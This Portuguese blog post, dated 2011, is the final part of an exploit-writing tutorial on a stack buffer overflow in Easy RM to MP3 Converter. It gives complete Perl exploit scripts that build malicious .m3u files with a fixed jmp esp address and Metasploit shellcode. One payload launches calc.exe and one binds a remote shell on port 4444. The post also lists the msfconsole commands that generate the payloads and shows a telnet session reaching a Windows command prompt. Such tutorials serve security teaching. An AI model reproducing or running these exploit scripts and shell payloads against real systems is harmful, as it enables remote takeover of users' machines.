7 de junho de 2011

Escrevendo um exploit para Stack Overflow - parte 3 (final)

Pular para o shellcode de uma maneira confiável

Procuramos colocar nosso shellcode exatamente onde o ESP aponta (ou, se olharmos por outro ângulo, o ESP aponta diretamente para o início de nosso shellcode). Se não fosse esse o caso, teríamos que olhar o conteúdo dos demais registradores e esperar encontrar nosso buffer. De qualquer forma, nesse exemplo em particular, podemos utilizar o ESP.

A razão por detrás de sobrescrever o EIP com o endereço do ESP, é que queremos que a aplicação pule para o ESP e execute o shellcode.

Pular para o ESP é algo muito comum em aplicações Windows. De fato, aplicações Windows utiliza uma ou mais dll's, e essas dll's contém muitas instruções em código. Além do mais, o endereço utilizado por essas dll's normalmente são estáticos. Então, se encontrarmos uma dll que contenha a instrução para pular para o ESP, e se pudermos sobrescrever o EIP com o endereço daquela instrução na dll, então deve funcionar, certo?

Vamos ver. Em primeiro lugar, precisamos entender o que o opcode para “jmp esp” é.

Nós podemos fazer isso executando o Easy RM to MP3 a partir do Windbg (obviamente após haver instalado o windbg). Apenas abra o Easy RM to MP3, não precisa fazer mais nada.

Ao executar o processo, a aplicação fará um break.

Na linha de comando do windbg, na parte inferior da tela, digite “a” (de assembler, sem aspas) e pressione enter. Agora digite “jmp esp” e pressione enter. Pressione enter novamente e digite “u” (unassemble) seguido pelo endereço que foi mostrado antes ao digitar “jmp esp”:

Próximo ao 7C90120E, podemos ver ffe4. Este é o opcode para o jmp esp.

Agora precisamos encontrar esse opcode em uma das dll's carregadas.

Vamos ver as dll's carregadas pelo Easy RM to MP3:

Se podemos encontrar o opcode em uma dessas dll's, então teremos uma boa chance de fazer o exploit funcionar de maneira confiável em plataforma windows. Se precisarmos utilizar uma dll que pertence ao só, então poderemos descobrir que o exploit não funciona em outras versões do SO. Então vamos buscar a área de uma das dll's do Easy RM to MP3 primeiro.

Vamos buscar na área do E:\ Arquivos de programas\Easy RM to MP3 Converter\MSRMCcodec02.dll. Essa dll é carregada entre 019E0000 e 01EAD000. Busque nesta área por ff e4:

Excelente. Quando selecionamos um endereço, é importante olhar por bytes nulos. Devemos tentar evitar utilizar endereços com bytes nulos (especialmente se desejamos utilizar os dados de buffer que vêm depois do EIP. O byte nulo se tornaria um finalizador de string e o resto dos dados de buffer seriam inutilizados).

Nota: há outras maneiras para conseguir os endereços de opcodes:

  • findjmp (de Ryan Permeh): compile o findjmp.c e execute-o com os seguintes parâmetros: findjmp [dllfile] [register]

  • o metasploit opcode database

  • memdump

  • pvefindaddr, um plugin para o Immunity Debugger. De fato essa é a melhor opção, pois filtra automaticamente os ponteiro não-confiáveis.

Veja abaixo o ponteiro que o Immunity retornou, utilizando o plugin pvefindaddr (apenas um, ao invés de vários como o windbg):

Como queremos colocar nosso shellcode no ESP (que está colocado em nosso payload após escrever o EIP), o endereço jmp esp a partir da lista não deve ter bytes nulos. Bytes nulos agem como finalizador de strings, assim tudo o que vier após seria ignorado. Em alguns casos, não teria problema em ter um endereço que se inicia com byte nulo.

Vamos utilizar o payload após o sobrescrição do EIP para armazenar nosso shellcode, assim o endereço não conteria bytes nulos.

O primeiro endereço de acordo com o Windbg é 0x01B1F23A

Verifique que este endereço contém o jmp esp (fazendo o unassemble a instrução em 01B1F23A):

Se agora sobrescrevermos o EIP com 0x01B1F23A, um jmp esp será executado. ESP contém nosso shellcode... assim deveríamos agora ter um exploit funcional. Vamos testar com o nosso shellcode “NOP & break”.

Encerre o Windbg.

Crie um novo arquivo m3u utilizando o script abaixo:

my $file= "teste4.m3u"; 
my $junk= "A" x 26073;

my $eip = pack('V',0x01b1f23a);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
#isso fará com que a aplicação dê um break, simulando o shellcode, mas permitindo prosseguir com o debugging

$shellcode = $shellcode."\x90" x 25;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

print "Arquivo m3u criado com sucesso\n";

Execute a aplicação pelo Immunity ou pelo Windbg, e abra o arquivo m3u com a aplicação.

A aplicação agora dá um break no endereço 000FF745, que é o local de nosso primeiro break. Assim o jmp esp funciona bem (esp começa em 000FF730, mas contém NOPs até o 000FF744).

Tudo o que precisamos fazer agora é alterar nosso shellcode e finalizar o exploit.


Shellcode funcional e finalização do exploit

O Metasploit possui um ótimo gerador de payload que o ajudará a construir seu próprio shellcode. Payloads podem ter várias opções, e (dependendo do que você precisa), pode ser pequeno ou muito grande. Se você tiver uma imitação de tamanho em termos de espaço em buffer, então pode procurar por multi-staged shellcode, ou utilizar shellcodes criados manualmente tal como esse aqui (shellcode de 32bytes para executar um cmd.exe em Windows XP SP2). Alternativamente, é possível dividir o shellcode em pequenos “eggs” e usar uma técnica chamada de “egg-hunting” para fazer o reassemble do shellcode antes de executá-lo. Em breve veremos mais materiais que falam sobre egg-hunting e omelet hunters.

Digamos que queremos que o arquivo calc.exe seja executado como nosso payload, então nosso shellcode pode parecer com o seguinte:


# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";


Finalize o script perl e execute-o:

#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26073;
my $eip = pack('V',0x01b1f23a); #jmp esp from MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";


Crie o arquivo m3u, abra-o e veja a aplicação morrer (e a calculadora deve abrir). Conseguimos fazer o exploit funcionar!



E se quisermos fazer algo diferente de executar a calculadora?

Podemos criar outro shellcode e alterar o shellcode de execução da calculadora por seu novo shellcode, mas este código pode não funcionar porque o shellcode pode ser grande, alocação de memória ser diferente, e shellcodes grandes aumentam o risco de haver caracteres inválidos no mesmo, que precisam ser filtrados.

Vamos dizer que queremos que o exploit faça um bind em uma porta para que possamos nos conectar remotamente e ter um terminal de comando.

O shellcode pode parecer com o seguinte:

#
# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" .
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .
"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" .
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .
"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" .
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" .
"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" .
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .
"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" .
"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" .
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .
"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" .
"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" .
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" .
"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" .
"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" .
"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" .
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" .
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" .
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" .
"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" .
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" .
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" .
"\xec\xe9\xed\xb0\x0f\x27\xee\xe7";



Como podemos ver, este shellcode possui 344 bytes de tamanho (e para executar a calculadora precisa apenas 144 bytes).

Se apenas copiarmos e colarmos este shellcode, podemos ver que a aplicação vulnerável não trava mais.

Isso indica, ou um problema com o tamanho do buffer do shellcode (mas se testarmos o tamanho do buffer veremos que esse não é o problema), ou nos deparamos com caracteres inválidos no shellcode. Podemos excluir esses caracteres inválidos quando criamos o shellcode com o metasploit, mas precisaremos saber quais caracteres são permitidos e quais não são. Por padrão, bytes nulos são restringidos (porque eles farão um break no exploit), mas quais são os outros caracteres?

O arquivo m3u provavelmente deveria conter nomes de arquivos. Então um bom começo seria filtrar todos os caracteres que não são permitidos em nomes de arquivos e caminhos. Podemos também restringir os caracteres selecionados, utilizando um outro decoder. Utilizei o shikata_ga_nai, mas talvez o alpha_upper funcione melhor para nomes de arquivos. Utilizar outro enconder provavelmente aumentará o tamanho do shellcode, mas já vimos que o tamanho não é o maior problema.

Vamos tentar construir um “tcp shell bind”, usando o encoder alpha_upper. Vamos fazer um bind de um shell à porta local 4444. O novo shellcode possui 730 bytes de tamanho.


Nota: para criar o payload, abra o Metasploit com ./msfconsole, e execute os seguintes comando:

msf> use payload/windows/shell_bind_tcp

msf payload(bind_tcp) > generate -e x86/alpha_upper


Vamos usar esse shellcode. O novo exploit se parecerá com o abaixo:

#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26072;
my $eip = pack('V',0x01b1f23a);
#jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;
# windows/shell_bind_tcp - 730 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode."\x56\x54\x58\x36\x33\x30\x57\x54\x58\x36\x33\x38\x56\x58" .
"\x48\x34\x39\x48\x48\x48\x50\x56\x58\x35\x41\x41\x51\x51" .
"\x50\x56\x58\x35\x59\x59\x59\x59\x50\x35\x59\x59\x59\x44" .
"\x35\x4b\x4b\x59\x41\x50\x54\x54\x58\x36\x33\x38\x54\x44" .
"\x44\x4e\x56\x44\x44\x58\x34\x5a\x34\x41\x36\x33\x38\x36" .
"\x31\x38\x31\x36\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" .
"\x49\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30" .
"\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54" .
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50" .
"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4d\x59\x43\x30" .
"\x43\x30\x45\x50\x43\x50\x4d\x59\x4d\x35\x56\x51\x49\x42" .
"\x43\x54\x4c\x4b\x56\x32\x56\x50\x4c\x4b\x56\x32\x54\x4c" .
"\x4c\x4b\x50\x52\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f" .
"\x4f\x47\x50\x4a\x56\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30" .
"\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43\x32\x56\x4c\x47\x50" .
"\x49\x51\x58\x4f\x54\x4d\x43\x31\x58\x47\x5a\x42\x5a\x50" .
"\x56\x32\x56\x37\x4c\x4b\x50\x52\x54\x50\x4c\x4b\x47\x32" .
"\x47\x4c\x43\x31\x58\x50\x4c\x4b\x47\x30\x54\x38\x4b\x35" .
"\x4f\x30\x52\x54\x50\x4a\x43\x31\x58\x50\x50\x50\x4c\x4b" .
"\x47\x38\x54\x58\x4c\x4b\x56\x38\x51\x30\x45\x51\x4e\x33" .
"\x4b\x53\x47\x4c\x50\x49\x4c\x4b\x56\x54\x4c\x4b\x43\x31" .
"\x58\x56\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x4f\x31" .
"\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48\x4b\x50\x52\x55" .
"\x4b\x44\x43\x33\x43\x4d\x5a\x58\x47\x4b\x43\x4d\x51\x34" .
"\x43\x45\x4d\x32\x51\x48\x4c\x4b\x51\x48\x56\x44\x43\x31" .
"\x58\x53\x45\x36\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x51\x48" .
"\x45\x4c\x43\x31\x49\x43\x4c\x4b\x45\x54\x4c\x4b\x45\x51" .
"\x4e\x30\x4c\x49\x47\x34\x47\x54\x51\x34\x51\x4b\x51\x4b" .
"\x45\x31\x51\x49\x51\x4a\x56\x31\x4b\x4f\x4b\x50\x50\x58" .
"\x51\x4f\x50\x5a\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d" .
"\x43\x58\x50\x33\x56\x52\x45\x50\x43\x30\x45\x38\x43\x47" .
"\x43\x43\x47\x42\x51\x4f\x50\x54\x43\x58\x50\x4c\x52\x57" .
"\x51\x36\x43\x37\x4b\x4f\x58\x55\x58\x38\x4c\x50\x45\x51" .
"\x45\x50\x43\x30\x47\x59\x49\x54\x56\x34\x56\x30\x43\x58" .
"\x56\x49\x4d\x50\x52\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50" .
"\x56\x30\x56\x30\x56\x30\x51\x50\x50\x50\x47\x30\x50\x50" .
"\x43\x58\x5a\x4a\x54\x4f\x49\x4f\x4b\x50\x4b\x4f\x58\x55" .
"\x4c\x57\x56\x51\x49\x4b\x51\x43\x52\x48\x54\x42\x45\x50" .
"\x54\x51\x51\x4c\x4c\x49\x4d\x36\x43\x5a\x52\x30\x50\x56" .
"\x56\x37\x52\x48\x58\x42\x49\x4b\x56\x57\x43\x57\x4b\x4f" .
"\x4e\x35\x56\x33\x51\x47\x45\x38\x4f\x47\x5a\x49\x50\x38" .
"\x4b\x4f\x4b\x4f\x49\x45\x50\x53\x56\x33\x56\x37\x43\x58" .
"\x54\x34\x5a\x4c\x47\x4b\x4b\x51\x4b\x4f\x49\x45\x56\x37" .
"\x4c\x57\x43\x58\x43\x45\x52\x4e\x50\x4d\x43\x51\x4b\x4f" .
"\x49\x45\x52\x4a\x45\x50\x52\x4a\x43\x34\x51\x46\x56\x37" .
"\x52\x48\x45\x52\x49\x49\x58\x48\x51\x4f\x4b\x4f\x4e\x35" .
"\x4c\x4b\x50\x36\x43\x5a\x47\x30\x43\x58\x43\x30\x54\x50" .
"\x45\x50\x45\x50\x50\x56\x43\x5a\x45\x50\x43\x58\x56\x38" .
"\x49\x34\x51\x43\x4b\x55\x4b\x4f\x58\x55\x4c\x53\x50\x53" .
"\x43\x5a\x45\x50\x56\x36\x50\x53\x51\x47\x45\x38\x43\x32" .
"\x58\x59\x4f\x38\x51\x4f\x4b\x4f\x4e\x35\x43\x31\x49\x53" .
"\x47\x59\x58\x46\x4b\x35\x4c\x36\x54\x35\x5a\x4c\x49\x53" .
"\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";


Crie o arquivo m3u, abra-o com a aplicação. Faça o telnet na porta 4444:

root@bt:/# telnet 192.168.0.197 4444
Trying 192.168.0.197...
Connected to 192.168.0.197.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

E:\Arquivos de programa\Easy RM to MP3 Converter>


Pronto !

Agora construa seus próprios exploits.

Nenhum comentário:

Postar um comentário